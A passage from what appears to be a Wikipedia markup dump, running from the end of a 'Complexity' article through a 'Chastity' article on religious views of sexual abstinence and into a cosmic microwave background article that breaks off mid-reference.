* In [[physical systems]], complexity is a measure of the [[probability]] of the state vector of the [[system]].  This is often confused with [[entropy (disambiguation)|entropy]], but is a distinct [[analysis]] of the probability of the state of the system, where two distinct states are never conflated and considered equal as in [[statistical mechanics]].
* In [[mathematics]], [[Krohn-Rhodes complexity]] is an important topic in the study of finite [[semigroup|semigroups]] and [[automata theory|automata]].
* In the sense of how complicated a problem is from the perspective of the person trying to solve it, limits of complexity are measured using a term from [[cognitive psychology]], namely the [[hrair limit]].
* [[Specified complexity]] is a term used in [[intelligent design]] theory, first coined by [[William Dembski]].
* [[Irreducible complexity]] is a term used in arguments against the generally accepted theory of biological evolution, being a concept popularized by the biochemist [[Michael Behe]].
* [[Unruly complexity]] denotes situations that do not have clearly defined boundaries, coherent internal dynamics, or simply mediated relations with their external context, as coined by Peter Taylor.

==Quotes about complexity==

* &quot;The complexity of a [[document]] is proportional to the number of fingers that you need to read it.&quot; [[DeMarco's Law]] is a paraphrase from [[Tom DeMarco]].  For example, 'The complexity of a [[computer program]] is proportional to the number of fingers you need to read it.'
* &quot;The essence of tyranny is the denial of complexity&quot; [[Jacob Burkhardt]], Swiss historian.
* &quot;Some days I will say yes, and then odd days it seems things say yes to me. And stranger still, there are those times when I become a yes.&quot; (And they are moments of the Calm) -Kevin Hart, quoted by Mark Taylor in 'The Moment of Complexity'

==See also== 
*[[Chaos theory]]
*[[Complexity theory]] (disambiguation page)
*[[List of important publications in computer science#Complexity| Important publications on computational complexity in  computer science]]
*[[Occam's razor]]
*[[Programming Complexity]]
*[[Holism in science]]
*[[Game complexity]]

==Reference==
*Roger Lewin. ''Complexity: Life at the Edge of Chaos''.  Macmillan, 1992. 

==External links==
* [http://samvak.tripod.com/complex.html Complexity vs. Simplicity]
* [http://www.calresco.org/lucas/quantify.htm Quantifying Complexity Theory] - classification of complex systems
* [http://cscs.umich.edu/~crshalizi/notebooks/complexity-measures.html Complexity Measures] - an article about the abundance of not-that-useful complexity measures.
*[http://www.visualcomplexity.com VisualComplexity.com] - A visual exploration on mapping complex networks
*[http://euromed.blogs.com Complexity, Knowledge and Learning] - A blog on complexity, knowledge and learning
*[http://www.santafe.edu Santa Fe Institute] - an institute dedicated to complexity research

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[[Category:Holism]]

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    <title>Chastity</title>
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      <text xml:space="preserve">{{dablink|For information on the comic book Chastity, please see [[Chastity (Comic Book)]]. For information on [[erotic sexual denial]] or enforced chastity, see that article or [[Chastity belt]].}}
'''Chastity''', in many [[religion|religious]] and [[culture|cultural]] contexts, is a [[virtue]] concerning the state of purity of the [[mind]] and [[body]]. The term is most often associated with refraining from [[sexual intercourse|sexual intimacy]], especially outside of [[marriage]]. ''Chastity'' is often taken to be synonymous with [[virginity]] or abstention from all sexual activity; however, some consider sexually active married couples to be ''chaste'' if they have relations only with each other.

Due to prohibitions of sexual intimacy outside of marriage in Abrahamic religions deriving from the [[Ten Commandments|Decalogue]] and [[Mosaic law]], the term has become closely associated with premarital [[sexual abstinence]] in [[Western culture]]; however, in the context of religion, the term remains applicable to persons in all states, single or married, clerical or lay, and has implications beyond sexual temperance. 

== Classical origin==
The word derives, via the French ''chasteté'', from the Latin ''castitas'', which is the abstract of ''castus'' (the root of ''chaste''), which originally meant a 'pure' state of conformity with the [[Greco-Roman religion]], rather the practical counterpart of a pious (Latin ''pius'') state of mind, in no way limited to the sexual sphere.  As the etymological link suggests, [[castigation]] or chastisement is originally the use of (harsh) means to preserve or restore this state as a form of [[catharsis (disambiguation)| catharsis]].  This meaning is preserved fully in the parallel term ''chastening''.

In ancient times the value of chastity was highly debated in both the [[homosexuality|homosexual]] and [[heterosexuality|heterosexual]] spheres. In particular, [[Socrates]] was an advocate of chaste [[pederasty|pederastic relations]] between men and boys, in opposition to the sexually expressed [[pedagogy|pedagogic]] relationships prevalent in his time. [[Plato]], having transmitted many of these teachings, has become the eponym for this type of chastity, known today as [[Platonic love]].

== Abrahamic religions ==
Traditionally, acts of sexual nature are prohibited outside of marriage in Islamic and Judeo-Christian ethical contexts and are considered [[sin|sinful]]. Since offenses against the [[virtue]] of chastity are most often perceived as fornication or [[adultery]], the term has become closely associated with [[sexual abstinence]] in common usage throughout most of the English-speaking world.

Offenses against chastity can include:
* [[Adultery]]
* [[Anal sex]]
* [[Artificial contraception]]
* [[Fornication]]
* [[Lust]]
* [[Masturbation]]
* [[Oral sex]]
* [[Pornography]]
* [[Prostitution]]
* [[Rape]]
* Sexual intimacy during or shortly after [[menstrual cycle|menstruation]]
* Sexual intimacy for a period of time after the [[childbirth|birth of a child]]
although not all ethical systems proscribe all of these. The state of chastity may include not only [[sexual abstinence]] but also:
* [[Coitus]] within the context of [[marriage|marital fidelity]]
* [[Natural family planning]]
Yet, as above, the particular ethical system may not prescribe each of these.

For example, within the scope of [[Christianity|Christian]] ethic, [[Roman Catholic Church|Roman Catholics]] view sex within marriage as chaste, but prohibit the use of artificial contraception as an offense against chastity, seeing contraception as contrary to God's will. Many [[Anglicanism|Anglican]] churches allow for artificial contraception, seeing the restriction of family size as possibly not contrary to God's will. A stricter view is held by the [[Shakers]], who prohibit marriage (and indeed sexual intercourse under any circumstances) as a violation of chastity.

===Vocational expressions of chastity===
====Marriage====
In the context of traditional '''marriage''', the spouses commit to a lifelong relationship which excludes the possibility of sexual intimacy with other persons.

====Sexual abstinence====
'''Virginity''', the physical state of 'innocent' sexual purity, has often been a requirement for certain religious functions, especially as priest(ess), e.g. the explicitly thus named [[Vestal Virgin]]s in pagan Rome.

'''Celibacy''' or '''consecration to virginity''' usually refers to ordained clergy or persons in religious orders, and is an avowed way of living in which the person forsakes all sexual gratification.  The [[Roman Catholic Church]] requires abstinence from the time priestly ordination vows are taken (but not pre-existing virginity—even widowers with offspring can be ordained), whereas in many Protestant churches, including the [[Anglican]],  marriage is accepted or even encouraged for clergy.  In the Roman Church, married men are not normally permitted to be ordained as [[priest]]s, but are normally permitted to be ordained as [[deacon]]s.  Married Anglican priests who convert to Rome are allowed to practice as priests while remaining married, but are then to remain in their state: priests who are married are to remain married, and priests who are not are not permitted to marry.  In the [[Eastern Orthodox Church]] traditions, celibacy is permitted but not required of priests but is required of bishops, as they are always selected from monastic orders.  In all three traditions, celibacy is almost always required of monastics—monks, nuns, and friars—even in a rare system of double cloisters, in which husbands could enter the (men's) monastery while their wives entered a (women's) sister monastery. 

In some religions, celibate monastic life is commonly practiced as a temporary phase, as by many men in [[Buddhism]].

'''Vows of chastity''' can also be taken by laypersons, either as part of an organised religious life or on an individual basis, as a voluntary act of devotion and/or as part of an ascetic lifestyle, often devoted to contemplation.

==Sources==
* [http://www.vatican.va/archive/catechism/p3s2c2a6.htm Catechism of the Catholic Church (III.2.I)]
* [http://www.passtheword.org/SHAKER-MANUSCRIPTS/Abstinence/shaker-abst-x1.htm Early Shaker Writings Relating to Sexual Abstinence]

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      <text xml:space="preserve">{{Cosmology}}
{{backlink|Noise}}

In [[physical cosmology|cosmology]], the '''cosmic microwave background radiation''' (most often abbreviated '''CMB''' but occasionally '''CMBR''', '''CBR''' or '''MBR''') is a form of [[electromagnetic radiation]] discovered in [[1965]]. It has a thermal [[black-body]] spectrum which peaks in the [[microwave]] range. Most cosmologists consider the cosmic microwave background radiation to be the best evidence for the [[big bang|hot big bang]] model of the universe.

==Features==

The cosmic microwave background is a 2.725 [[kelvin]] thermal spectrum of [[black body]] radiation that fills the universe. It has a peak frequency of 160.4&amp;nbsp;[[hertz|GHz]] which corresponds to a wavelength of 1.9&amp;nbsp;mm. It is isotropic to roughly one part in 100,000: the [[root mean square]] variations are only 18&amp;nbsp;µK.&lt;ref&gt;This ignores the [[dipole]] anisotropy, which is due to the [[Doppler shift]] of the microwave background radiation due to our [[peculiar velocity]] relative to the [[comoving coordinates|comoving]] cosmic rest frame. This feature is consistent with the Earth moving at some 600&amp;nbsp;km/s towards the constellation [[Virgo]].&lt;/ref&gt; The Far-Infrared Absolute [[Spectrophotometer]] (FIRAS) instrument on the [[NASA]] [[COBE|COsmic Background Explorer]] (COBE) satellite has carefully measured the spectrum of the cosmic microwave background, which has made it the most precisely measured black body spectrum ever.&lt;ref&gt;D. J. Fixen ''et al.'', &quot;The Cosmic Microwave Background Spectrum from the full COBE FIRAS data set&quot;, ''Astrophysical Journal'' '''473''', 576–587 (1996).&lt;/ref&gt;

The cosmic microwave background is a prediction of the [[Big Bang]]. In the theory, the early universe was made up of a hot [[plasma (physics)|plasma]] of [[photon]]s, [[electrons]] and [[baryon]]s. The photons were constantly interacting with the plasma through [[Compton scattering]]. As the universe expanded, the cosmological [[redshift]] caused the plasma to cool until it became favorable for [[electrons]] to combine with [[hydrogen]] and [[helium]] [[atomic nucleus|nuclei]] and form atoms. This happened at around 3,000&amp;nbsp;K or when the universe was approximately 400,000 years old. At this point, the photons did not scatter off of the now neutral atoms and begin to travel freely through space. This process is called [[recombination]] or [[decoupling]].

The photons continued cooling until they reached their present 2.7&amp;nbsp;K temperature. Accordingly, the radiation from the sky we measure today comes from a spherical surface, called the surface of last scattering, from which the photons that decoupled from interaction with matter in the early universe, 13.7 billion years ago, are just now reaching observers on Earth. The big bang suggests that the cosmic microwave background fills all of observable space, and that most of the radiation energy in the universe is in the cosmic microwave background, which makes up a fraction of roughly 5&amp;times;10&lt;sup&gt;-5&lt;/sup&gt; of the total density of the universe.&lt;ref&gt;The energy density of a black-body spectrum is &lt;math&gt;\pi k_B^2T^4/15(\hbar c)^3&lt;/math&gt;, where ''T'' is the temperature, ''k''&lt;sub&gt;B&lt;/sub&gt; is the Boltzmann constant, &lt;math&gt;\hbar&lt;/math&gt; is the Planck constant and ''c'' is the speed of light. This can be related to the critical density of the universe using the parameters of the [[Lambda-CDM model]].&lt;/ref&gt;

Two of the greatest successes of the big bang are its prediction of the exactly thermal spectrum and detailed prediction of the anisotropies of the cosmic microwave background. The recent [[Wilkinson Microwave Anisotropy Probe]] has precisely measured these anisotropies over the whole sky down to angular scales of 0.2 degrees.&lt;ref&gt;''Astrophysical Journal Supplement'', '''148''' (2003). In particular, G. Hinshaw ''et al.'' &quot;First-year Wilkinson Microwave Anisotropy Probe (WMAP) observations: the angular power spectrum&quot;, 135–159.&lt;/ref&gt; These can be used to estimate the parameters of the standard [[Lambda-CDM model|Lambda-CDM]] model of the big bang. Some information, such as the [[shape of the Universe]], can be obtained straightforwardly from the cosmic microwave background, while others, such as the [[Hubble constant]], are not constrained and must be inferred from other measurements.&lt;ref&gt;D. N. Spergel ''et al.'', &quot;First-year Wilkinson Microwave Anisotropy Probe (WMAP) observations: determination of cosmological parameters&quot;, ''Astrophysical Journal Supplement'' '''148''', 175–194 (2003).&lt;/ref&gt;

==History==
&lt;!-- BEGIN TIMELINE --&gt;
{| align=&quot;right&quot; width=&quot;45%&quot; style=&quot;border:1px solid #ddd; margin:0 0 1em 1em; padding:0 0 1em 1em; vertical-align:right;&quot;
!colspan=&quot;2&quot; align=&quot;center&quot;|&lt;big&gt;Timeline of the CMB&lt;/big&gt;
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|&lt;small&gt;Important people and dates
|-
|align=&quot;right&quot;&gt;|[[1931]]
| The term ''microwave'' first appears in print: &quot;&quot;When trials with wavelengths as low as 18 cm. were made known, there was undisguised surprise that the problem of the micro-wave had been solved so soon.&quot; ''Telegraph &amp; Telephone Journal'' XVII. 179/1&quot;
|-
|align=&quot;right&quot;&gt;|[[1946]]
| The term &quot;microwave&quot; is first used in print in an astronomical context in an article &quot;Microwave Radiation from the Sun and Moon&quot; by [[Robert Dicke]] and [[Robert Beringer]]. 
|-
|align=&quot;right&quot;&gt;|[[1946]]
| [[Robert Dicke]] predicts a microwave background radiation temperature of 20&amp;nbsp;K (ref: Helge Kragh) 
|-
|align=&quot;right&quot;&gt;|[[1946]]
|Robert Dicke predicts a microwave background radiation temperature of &quot;less than&quot; 20&amp;nbsp;K but later revised to 45&amp;nbsp;K (ref: Stephen G. Brush) 
|-
|align=&quot;right&quot;&gt;|[[1946]]
|[[George Gamow]] estimates a temperature of 50&amp;nbsp;K 
|-
|align=&quot;right&quot;&gt;|[[1948]]
|[[Ralph Alpher]] and [[Robert Herman]] re-estimate Gamow's estimate at 5&amp;nbsp;K. 
|-
|align=&quot;right&quot;&gt;|[[1949]]
|Ralph Alpher and Robert Herman re-re-estimate Gamow's estimate at 28&amp;nbsp;K. 
|-
|align=&quot;right&quot;&gt;|[[1960s]]
|Robert Dicke re-estimates a MBR (microwave background radiation) temperature of 40&amp;nbsp;K (ref: Helge Kragh) 
|-
|align=&quot;right&quot;&gt;|[[1960s]]
| [[Arno Penzias]] and [[Robert Woodrow Wilson]] measure the temperature to be approximately 3&amp;nbsp;K. Robert Dicke, [[P. J. E. Peebles]], P. G. Roll and [[David Todd Wilkinson|D. T. Wilkinson]] interpret this radiation as a signature of the big bang.
|}
&lt;!-- END TIMELINE --&gt;



{{seealso|Discovery of cosmic microwave background radiation}}

The cosmic microwave background was predicted by [[George Gamow]], [[Ralph Alpher]], and [[Robert Hermann]] in [[1948]]. Moreover, Alpher and Herman were able to estimate the temperature of the cosmic microwave background to be 5&amp;nbsp;K.&lt;ref&gt;G. Gamow, &quot;The Origin of Elements and the Separation of Galaxies,&quot; ''Physical Review'' '''74''' (1948), 505. G. Gamow, &quot;The evolution of the universe&quot;, ''Nature'' '''162''' (1948), 680. R. A. Alpher and R. Herman, &quot;On the Relative Abundance of the Elements,&quot; ''Physical Review'' '''74''' (1948), 1577.&lt;/ref&gt; Although there were several
previous estimates of the temperature of space (see timeline), these suffered from two flaws. First, they were measurements of the ''effective'' temperature of space, and did not suggest that space was filled with a thermal [[Planck spectrum]]: Second, they are dependent on our special place at the edge of the [[Milky Way galaxy]] and did not suggest the radiation is isotropic. Moreover, they would yield very different predictions if Earth happened to be located elsewhere in the universe.&lt;ref&gt;A. K. T. Assis, M. C. D. Neves, &quot;History of the 2.7&amp;nbsp;K Temperature Prior to Penzias and Wilson,&quot; (1995, [http://redshift.vif.com/JournalFiles/Pre2001/V02NO3PDF/V02N3ASS.PDF PDF] | [http://www.dfi.uem.br/~macedane/history_of_2.7k.html HTML]) but see also N. Wright, &quot;Eddington did not predict the CMB&quot;, [http://www.astro.ucla.edu/~wright/Eddington-T0.html].&lt;/ref&gt;

The results of Gamow were not widely discussed. However, they were rediscovered by [[Robert Dicke]] and [[Yakov Zel'dovich]] in the early 1960s. In 1964, this prompted [[David Todd Wilkinson]] and Peter Roll, Dicke's colleagues at [[Princeton University]], to begin constructing a Dicke radiometer to measure the cosmic microwave background&lt;ref&gt;R. H. Dicke, &quot;The measurement of thermal radiation at microwave frequencies&quot;, ''Rev. Sci. Instrum.'' '''17''', 268 (1946). This basic design for a radiometer has been used in most subsequent cosmic microwave background experiments.&lt;/ref&gt;. In [[1965]], [[Arno Penzias]] and [[Robert Woodrow Wilson]] at [[Bell Telephone Laboratories]] in nearby [[Holmdel, New Jersey]] had built a Dicke radiometer that they intended to use for radio astronomy and satellite communication experiments. Their instrument had an excess 3.5&amp;nbsp;K [[noise temperature|antenna temperature]] which they could not account for. After receiving a telephone call from Holmdel, Dicke famously quipped: &quot;Boys, we've been scooped.&quot;&lt;ref&gt;A. A. Penzias and R. W. Wilson, &quot;A Measurement of Excess Antenna Temperature at 4080 Mc/s,&quot; ''Astrophysical Journal'' '''142''' (1965), 419. R. H. Dicke, P. J. E. Peebles, P. G. Roll and D. T. Wilkinson, &quot;Cosmic Black-Body Radiation,&quot; ''Astrophysical Journal'' '''142''' (1965), 414. The history is given in P. J. E. Peebles, ''Principles of physical cosmology'' (Princeton Univ. Pr., Princeton 1993).&lt;/ref&gt; A meeting between the Princeton and Holmdel groups determined that the antenna temperature was indeed due to the microwave background. Penzias and Wilson received the 1978 [[Nobel Prize in Physics]] for their discovery.

The interpretation of the cosmic microwave background was a controversial issue in the 1960s with some proponents of the [[steady state theory]] arguing that the microwave background was the result of scattered starlight from distant galaxies.  Using this model, and based on the study of narrow absorption line features in the spectra of stars, the astronomer Andrew McKellar wrote in 1941: &quot;It can be calculated that the 'rotational' temperature of interstellar space is 2&amp;nbsp;K.&quot;&lt;ref&gt;A. McKellar, ''Publ. Dominion Astrophys. Obs.'' '''7''', 251.&lt;/ref&gt; However, during the 1970s the consensus was established that the cosmic microwave background is a remnant of the big bang. This was largely because new measurements at a range of frequencies showed that the spectrum was a thermal, black-body spectrum, a result that the steady state model was unable to reproduce.

Harrison, Peebles and Yu, and Zel'dovich realized that the early universe would have to have inhomogeneities at the level of 10&lt;sup&gt;-4&lt;/sup&gt; or 10&lt;sup&gt;&amp;minus;5&lt;/sup&gt;.&lt;ref&gt;E. R. Harrison, &quot;Fluctuations at the threshold of classical cosmology,&quot; ''Phys. Rev.'' '''D1''' (1970), 2726. P. J. E. Peebles and J. T. Yu, &quot;Primeval adiabatic perturbation in an expanding universe,&quot; ''Astrophysical Journal'' '''162''' (1970), 815. Ya. B. Zel'dovich, &quot;A hypothesis, unifying the structure and entropy of the universe,&quot; ''Monthly Notices of the Royal Astronomical Society'' '''160''' (1972).&lt;/ref&gt; [[Rashid Sunyaev]] later calculated the observable imprint that these inhomogeneities would have on the cosmic microwave background.&lt;ref&gt;R. A. Sunyaev, &quot;Fluctuations of the microwave background radiation,&quot; in ''Large Scale Structure of the Universe'' ed. M. S. Longair and J. Einasto, 393. Dordrecht: Reidel 1978. While this is the first paper to discuss the detailed observational imprint of density inhomogeneities as anisotropies in the cosmic microwave background, some of the groundwork was laid in Peebles and Yu, above.&lt;/ref&gt; Increasingly stringent limits on the anisotropy of the cosmic microwave background were set by ground based experiments, but the anisotropy was first detected by the Differential Microwave Radiometer instrument on the [[COBE]] satellite.&lt;ref&gt;G. F. Smoot ''et al.'' &quot;Stucture in the COBE DMR first year maps&quot;, ''Astrophysical Journal'' '''396''' L1&amp;ndash;L5 (1992). C. L. Bennett ''et al.'' &quot;Four year COBE DMR cosmic microwave background observations: maps and basic results.&quot;, ''Astrophysical Journal'' '''464''' L1&amp;ndash;L4 (1996).&lt;/ref&gt;

Inspired by the COBE results, a series of ground and balloon-based experiments measured cosmic microwave background anisotropies on smaller angular scales over the next decade.  The primary goal of these experiments was to measure the scale of the first acoustic peak, which COBE did not have sufficient resolution to resolve. The first peak in the anisotropy was tentatively detected by the [[Toco experiment]] and the result was confirmed by the [[BOOMERanG experiment|BOOMERanG]] and [[MAXIMA experiment|MAXIMA]] experiments.&lt;ref&gt;A. D. Miller ''et al.'', &quot;A measurement of the angular power spectrum of the cosmic microwave background from ''l'' = 100 to 400&quot;, ''Astrophysical Journal'' '''524''', L1&amp;ndash;L4 (1999). A. E. Lange ''et al.'', &quot;Cosmological parameters from the first results of Boomerang&quot;. P. de Bernardis ''et al.'', &quot;A flat universe from high-resolution maps of the cosmic microwave background&quot;, ''Nature'' '''404''', 955 (2000). S. Hanany ''et al.'' &quot;MAXIMA-1: A measurement of the cosmic microwave background anisotropy on angular scales of 10'-5°&quot;, ''Astrophysical Journal'' '''545''' L5–L9 (2000).&lt;/ref&gt;.  These measurements demonstrated that the [[Shape of the Universe|Universe is flat]] and were able to rule out [[cosmic strings]] as a theory of cosmic structure formation, and suggested [[cosmic inflation]] was the right theory of structure formation.

The second peak was tentatively detected by several experiments before being definitively detected by [[WMAP]], which has also tentatively detected the third peak. The [[polarization]] of the microwave background was first discovered by the [[Degree Angular Scale Interferometer]] (DASI).&lt;ref&gt;J. Kovac ''et al.'', &quot;Detection of polarization in the cosmic microwave background using DASI&quot;, ''Nature'' '''420''', 772-787 (2002).&lt;/ref&gt;. Several experiments to improve measurements of the polarization and the microwave background on small angular scales are ongoing. These include DASI, WMAP, BOOMERanG and the [[Cosmic Background Imager]]. Forthcoming experiments include the [[Planck (satellite)|Planck satellite]], [[Atacama Cosmology Telescope]] and the [[South Pole Telescope]].

==Relationship to the Big Bang==
[[Image:WMAP.jpg|thumb|right|300px|WMAP image of the CMB anisotropy,''Cosmic microwave&lt;br&gt; background radiation''. &lt;small&gt;''(June [[2003]]))''&lt;/small&gt;]]
[[Image:WMAP power spectrum.jpg|thumb|right|300px|The power spectrum of the cosmic microwave  background &lt;br&gt;radiation anisotropy interms of the angular scale (or [[multipole moment]]) (top). Data from WMAP have extended the accuracy of the spectrum at large angular scales (i.e. on the left side of the plot) far beyond what was known from earlier measurements.]]

The standard hot big bang model of the universe requires that the initial conditions for the universe are a [[Gaussian random field]] with a nearly [[scale invariant]] or Harrison-Zel'dovich spectrum. This is, for example, a prediction of the [[cosmic inflation]] model. This means that the initial state of the universe is random, but in a clearly specified way in which the amplitude of the primeval inhomogeneities is 10&lt;sup&gt;-5&lt;/sup&gt;. Therefore, meaningful statements about the inhomogeneities in the universe need to be [[statistics|statistical]] in nature. This leads to [[cosmic variance]] in which the uncertainties in the variance of the largest scale fluctuations observed in the universe are difficult to accurately compare to theory.

===Temperature===

The cosmic microwave background radiation and the cosmological [[red shift]] are together regarded as the best available evidence for the [[Big Bang]] (BB) theory. The discovery of the CMB in the mid-1960s curtailed interest in [[non-standard cosmology|alternatives]] such as the [[steady state theory]]. The CMB gives a snapshot of the [[Universe]] when, according to standard cosmology, the temperature dropped enough to allow [[electron]]s and [[proton]]s to form [[hydrogen]] atoms, thus making the universe transparent to radiation.  When it originated some [[1 E13 s|400,000 years]] after the Big Bang &amp;mdash; this time period is generally known as the &quot;time of last scattering&quot; or the period of [[recombination]] or [[decoupling]] &amp;mdash; the temperature of the Universe was about [[1 E3 K|3,000&amp;nbsp;K]]. This corresponds to an energy of about 0.25 [[electronvolt|eV]], which is much less than the 13.6 eV ionization energy of hydrogen. Since then the temperature of the radiation has dropped by a factor of roughly 1100 due to the expansion of the Universe.  As the universe expands, the CMB photons are [[redshift]]ed, making the radiation's temperature [[inversely proportional]] to the Universe's [[Scale factor (Universe)|scale length]]. For details about the reasoning that the radiation is evidence for the Big Bang, see [[Big Bang#Cosmic_microwave_background_radiation|Cosmic background radiation of the Big Bang]].

===Primary anisotropy===

The [[anisotropy|anisotropy]] of the cosmic microwave background is divided into two sorts: primary anisotropy &amp;ndash; which is due to effects which occur at the last scattering surface and before &amp;ndash; and secondary anisotropy &amp;ndash; which is due to effects, such as interactions with hot gas or gravitational potentials, between the last scattering surface and the observer.

The structure of the cosmic microwave background anisotropies is principally determined by two effects: acoustic oscillations and diffusion damping (also called collisionless damping or Silk damping). The acoustic oscillations arise because of a competition in the [[photon]]-[[baryon]] plasma in the early universe. The pressure of the photons tends to erase anisotropies, whereas the gravitational attraction of the baryons &amp;ndash; which are moving at speeds much less than the speed of light &amp;ndash; makes them tend to collapse to form dense haloes. These two effects compete to create acoustic oscillations which give the microwave background its characteristic peak structure. The peaks correspond, roughly, to resonances in which the photons decouple when a particular mode is at its peak amplitude. The peaks contain interesting physical signatures. The first peak determines the [[shape of the Universe]]. The second peak &amp;ndash; truly the ratio of the odd peaks to the even peaks &amp;ndash; determines the reduced baryon density. The third peak can be used to extract information about the dark matter density.

Collisionless damping is caused by two effects, when the treatment of the primordial plasma as a [[fluid]] begins to break down:
* the increasing [[mean free path]] of the photons as the primordial plasma becomes increasingly rarefied in an expanding universe
* the finite thickness of the last scattering surface, which causes the mean free path to increase rapidly during decoupling, even while some Compton scattering is still occurring.
These effects contribute about equally to the supression of anisotropies on small scales, and give rise to the characteristic exponential damping tail seen in the very small angular scale anisotropies.

===Polarization===

The cosmic microwave background is polarized at the level of a few microkelvins. There are two types of polarization, called ''E''-modes and ''B''-modes. This is in analogy to electrostatics, in which the electric field (''E''-field) has a vanishing [[curl]] and the magnetic field (''B''-field) has a vanishing [[divergence]]. The ''E''-modes arise naturally from Thomson scattering in an inhomogeneous plasma. The ''B''-modes, which have not been measured and are thought to have an amplitude of at most a 0.1&amp;nbsp;µK, are not produced from the plasma physics alone. They are a signal from [[cosmic inflation]] and are determined by the density of primordial [[gravitational wave]]s. Detecting the ''B''-modes will be extremely difficult, particularly given that the degree of foreground contamination is unknown, and the [[weak gravitational lensing]] signal mixes the relatively strong ''E''-mode signal with the ''B''-mode signal.&lt;ref&gt;{{Journal reference | Author = A. Lewis and A. Challinor | Title = Weak gravitational lensing of the CMB | Journal = Phys. Rep. | URL = http://arxiv.org/abs/astro-ph/0601594 | Year = 2006 }} (to appear) &lt;/ref&gt;

===Late time anisotropy===

After the creation of the CMB, there are a number of important events.  After the emission of the CMB, ordinary matter in the universe was mostly in the form of neutral hydrogen and helium atoms, but from observations of galaxies it seems that most of the volume of the [[intergalactic medium]] (IGM) today consists of ionized material (since there are few absorption lines due to hydrogen atoms).  This implies a period of [[reionization]] in which the material of the universe breaks down into hydrogen ions.  

The CMB photons scatter off free charges such as electrons that are not bound in atoms. In an ionized universe, such electrons have been liberated from neutral atoms by ionizing (ultraviolet) radiation. Today these free charges are at sufficiently low density in most of the volume of the Universe that they do not measurably affect the CMB. However, if the IGM was ionized at very early times when the universe was still denser, then there are two main effects on the CMB:
# Small scale anisotropies are erased (just as when looking at an object through fog, details of the object appear fuzzy).
# The physics of how photons scatter off free electrons ([[Thomson scattering]]) induces polarization anisotropies on large angular scales. This large angle polarization is correlated with the large angle temperature perturbation.

Both of these effects have been observed by the WMAP satellite, providing evidence that the universe was ionized at very early times, at a [[redshift]] of larger than 17. The detailed provenance of this early ionizing radiation is still a matter of scientific debate. It may have included starlight from the very first population of stars ([[population III]] stars), supernovae when these first stars reached the end of their lives, or the ionizing radiation produced by the accretion disks of massive black holes.

The period after the emission of the cosmic microwave background and the observation of the first stars is semi-humorously referred to by cosmologists as the [[Dark Ages (disambiguation)|dark age]], and is a period which is under intense study by astronomers (See [[21 centimeter radiation]]).

Other effects that occur between reionization and our observation of the cosmic microwave background which cause anisotropies include the [[Sunyaev Zeldovic Effect|Sunyaev-Zel'dovich effect]], in which a cloud of high energy electrons scatters the radiation, transferring some energy to the CMB photons, and the [[Integrated Sachs Wolfe effect]], which causes [[photon]]s from the cosmic microwave background to be gravitationally redshifted or blue shifted due to changing gravitational fields.

==Microwave background observations==
{{seealso|Cosmic microwave background experiments}}

The design of cosmic microwave background experiments is a very challenging task. The greatest problems are:
*'''Detectors''' The challenge of observing differences of a few microkelvins on top of a 2.7&amp;nbsp;K signal is difficult. Many improved microwave detector technologies have been designed for microwave background applications. Some technologies used are [[HEMT]], [[MMIC]], SIS (Superconductor-Insulator-Superconductor) and [[bolometer]]s. Experiments generally use elaborate [[cryogenics|cryogenic]] systems to keep the detectors cool. Often, experiments are [[interferometer]]s which only measure the spatial fluctuations in signals on the sky, and are insensitive to the average 2.7&amp;nbsp;K background. Another problem is the [[1/f noise|1/''f'' noise]] intrinsic to all detectors. Usually the experimental scan strategy is designed to minimize the effect of such noise.
*'''Optics''' To minimize [[side lobe]]s, microwave optics usually utilize elaborate [[Lens (optics)|lenses]] and [[feed horn]]s.
*'''Water vapor''' Because water absorbs microwave radiation (a fact that is used to build [[microwave oven]]s), it is rather difficult to observe the microwave background with ground-based instruments.  CMB research therefore makes increasing use of air and space-borne experiments. Ground-based observations are usually made from dry, high altitude locations such as the [[Andes|Chilean Andes]] and the [[South Pole]].

===Analyses===

The analysis of cosmic microwave background data to produce maps, an angular power spectrum and ultimately cosmological parameters is a complicated, computationally difficult problem. Although computing a power spectrum from a map is in principle a simple [[Fourier transform]], decomposing the map of the sky into [[spherical harmonics]], in practice it is hard to take the effects of noise and foregrounds into account. Constraints on many cosmological parameters can be obtained from their effects on the power spectrum, and results are often calculated using [[Markov Chain Monte Carlo]] sampling techniques.

===Low multipoles===

With the increasingly precise data provided by WMAP, there have been a number of claims that the CMB suffers from anomalies, such as [[non-gaussianity]]. The most longstanding of these is the low-''l'' multipole controversy. Even in the COBE map, it was observed that the [[quadrupole]] (''l'' = 2 spherical harmonic) has a low amplitude compared to the predictions of the big bang. Some observers have pointed out that the anisotropies in the WMAP data did not appear to be consistent with the big bang picture. In particular, the quadrupole and octupole (''l'' = 3) modes appear to have an unexplained alignment with each other and with the [[ecliptic plane]].&lt;ref&gt;A. de Oliveira-Costa, M. Tegmark, M. Zaldarriga and A. Hamilton, &quot;The significance of the largest scale CMB fluctuations in WMAP&quot;, ''Phys. Rev.'' '''D69''' (2004) 063516 {{arxiv|archive=astro-ph|id=0307282}}. D. J. Schwarz, G. D. Starkman, D. Huterer and C. J. Copi, &quot;Is the low-''l'' microwave background cosmic?&quot;, ''Phys. Rev. Lett.'' '''93''' (2004) 221301 {{arxiv|archive=astro-ph|id=0403353}}.&lt;/ref&gt; A number of groups have suggested that this could be the signature of new physics at the largest observable scales. Ultimately, due to the foregrounds and the [[cosmic variance]] problem, the largest modes will never be as well measured as the small angular scale modes. The analyses were performed on two maps that have had the foregrounds removed as best as is possible: the &quot;internal linear combination&quot; map of the WMAP collaboration and a similar map prepared by [[Max Tegmark]] and others.&lt;ref&gt;C. L. Bennett ''et al.'', &quot;First-year Wilkinson Microwave Anisotropy Probe (WMAP) observations: preliminary maps and basic results&quot;, ''Astrophysical Journal Supplement'' '''148''', 1 (2003). M. Tegmark, A. de Oliveira-Costa and A. Hamilton, &quot;A high resolution foreground cleaned CMB map from WMAP&quot;, ''Phys. Rev.'' '''D68''', 123523 (2003). The WMAP paper warns: &quot;the statistics of this internal linear combination map are complex and inappropriate for most CMB analyses.&quot;&lt;/ref&gt; Later analyses have pointed out that these are the modes most susceptible to foreground contamination from [[synchrotron radiation|synchrotron]], dust and [[Bremsstrahlung|free-free]] emission, and from experimental uncertainty in the monopole and dipole. While the low quadrupole does appear to be robust (The measured value has a likelihood of roughly 2&amp;ndash;4% in the [[Lambda-CDM model]].), removing the parts of the data that are most contaminated by foregrounds removes the alignment, which suggests that it is due to foreground contamination.&lt;ref&gt;A. Slosar and U. Seljak, &quot;Assessing the effects of foregrounds and sky removal in WMAP&quot;, ''Phys. 